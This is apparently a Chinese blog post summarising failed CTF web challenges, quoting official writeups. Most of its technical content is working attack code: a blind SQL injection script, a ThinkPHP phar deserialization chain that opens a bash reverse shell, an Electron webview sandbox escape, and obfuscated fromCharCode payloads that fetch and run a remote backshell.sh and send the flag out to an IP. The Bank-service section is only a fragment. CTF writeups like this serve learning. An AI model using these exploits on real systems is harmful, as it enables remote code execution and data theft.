

# 一些比赛的总结哈哈哈哈哈

原创

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## 只做了web, 然后一个都没做出来, 嘿嘿写个总结

主要总结, python, php写脚本要反复练习, sql, xss, tp反序列化要深挖

第三届红帽杯

easyweb

一道很明显的sql注入题, 判断出注入点后, 需要注入脚本, 在sql注入这块, 高端的注入方法特别特别不熟练, 最近需要好好补一下

360杯和上海的那个都有类似的, 都是卡半截了, 还是菜, 难受

附上writeup

<https://mp.weixin.qq.com/s/nV4CyUNWpQZMFzqDVeUM2w>

存在sql注入, 注入点:

```
/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{ },1))={ },sleep(6),1)%23
```

注入脚本

```
import requests
import sys
import string
flag = ''
url = sys.argv[1]
url = url.rstrip('/')
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{ },1))={ },sleep(6),1)%23'
for i in xrange(1,50):
    for j in xrange(45,127):
        try:
            a = requests.get(url.format(i,j),timeout=3)
        except:
            flag+=chr(j)
    print flag
```

Ticket—System

这个题很可惜, 看到题目, 随便登陆用户后, 发现在填写ticket的地方存在XXE

根据源码提示打开了 hints.txt

也发现了 thinkPHP 报错 而且版本是5.2叭叭叭忘了, 当时知道应该是要利用XXE读取php源码, 然后结合thinkphp框架, phar反序列化, 但很可惜 thinkphp反序列化化学的8太深, 只知道个皮毛, 这个需要恶补!!!

附上官方writeup

直接从反序列化那里开始吧，前面的就不说了

3. 挖掘 Thinkphp pop 链，可用 phar 反序列化.

exp:

```
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Zedd" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Zedd" => "system");

        public function get($system)
        {
            $this->data = array("Zedd" => "$system");
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一个IP/2015 0>&1'");
    $payload = new think\process\pipes\Windows($Conver);
    ini_set('phar.readonly',0);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
}
```

```

$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar', 'phar.xml');
}
?>

```

上传文件拿路径，然后payload触发反序列化  
收到反弹的shell，执行/readflag

### iCloudMusic

这个题，拿到知道，看了一会，发现是XSS但是有过滤，用一些基本的办法都绕不过去，放弃了，XSS也是学的不够深嘛，得补补

首先寻找XSS,XSS的点很清晰就是 `js_to_run` 处的动态拼接js,然而图片header处存在过滤无法逃逸，因此只能从description处入手。

长度限制怎么绕过？

在chrome下有 `import` 函数可用来引入任意外部js，要求没有同源策略限制且包含的js满足content-type要求。我们只要使用description:

```
};import('http://xxx.xxx.xxx.xxx/test.js');//
```

如何逃逸webview沙箱？

由于electron的remote模块多处调用了 `Object.defineProperty` ,因此我们可以通过覆盖defineProperty来劫持webContents对象，具体的payload如下：

```

let originProper=Object.defineProperty;
Object.defineProperty=function(...args){
  if(args.length==3 && args[1]=='name' && args[2].value=='WebContents'){
    Object.defineProperty=originProper;
    let currentContents=args[0]();
    currentContents.hostWebContents.executeJavaScript("require('child_process').exec('open -a Calculator')")
  }
  return originProper(...args);
}
play();

```

exp:

crack.php

```

<?php
$code='a';
while(1){
if(substr(md5($code), 0, 5) === $argv[1])die($code);
$code++;
}

```

g.php:

```
<?php
//指定允许其他域名访问
header('Access-Control-Allow-Origin:*');//一般用法 (*, 指定域, 动态设置), 3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息 (cookies), 该值只能是true, 否则不返回
header('Access-Control-Allow-Credentials:true');
header('Content-Type:text/javascript');

?>
let originProper=Object.defineProperty;
Object.defineProperty=function(...args){
    if(args.length==3 && args[1]=='name' && args[2].value=='WebContents'){
        Object.defineProperty=originProper;
        let currentContents=args[0]();
        let js=`require('child_process').exec('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');`
        currentContents.hostWebContents.executeJavaScript(js)
    }
    return originProper(...args);
}

play();
```

send2.py:

```

#coding=utf-8
import requests
import os
import json

t=requests.session();

m=t.get('http://127.0.0.1:9999/code.php').json()
print m
s=m['code']
code=os.open('php crack.php '+s).read().strip()
music_info={'header':'xxx','title':'xxxx','desc':"\uff07\u5d;eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99,104,36,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//"};
music_info['header']='http://www.baidu.com' } **/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//'#111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'#eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,99,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,98,97,115,104,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'#xa)eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,47,37,51,66,47,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,99,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,98,97,115,104,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'#
#music_info['header']='http://www.baidu.com' } **/;eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99,104,36,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'

print music_info;
print t.post('http://127.0.0.1:9999/',{'id':'2676003690','code':code,'music':json.dumps(music_info)}).content

```

## Bank-service

这个题，拿到后，交互提示了是solr提供搜索服务，没啥思路，只能看看writeup了

打开网页后，查看源码可发现通过socket.io建立socket连接与后端交互。

交互提示后台使用solr提供搜索服务，联系websocket猜测可能是websocket-smuggle

访问/solr提示403，于是用websocket-smuggle访问发现可正常访问。

尝试命令执行行，无法外带，只能构造回显，参考 <https://paper.seebug.org/1009/>，可以尝试利用 ContentStreamDataSource 构造回显，seebug的paper中没有给出poc因此需要参考solr文档构造回显。



```
data = sock.recv(4096)
print data
print '[+]connection finished'
print req2
sock.sendall(req2)
data = sock.recv(409600)
data = data.decode(errors='ignore')

print data

#sock.shutdown(socket.SHUT_RDWR)
sock.close()

if __name__ == "__main__":
    main('127.0.0.1:3000')
```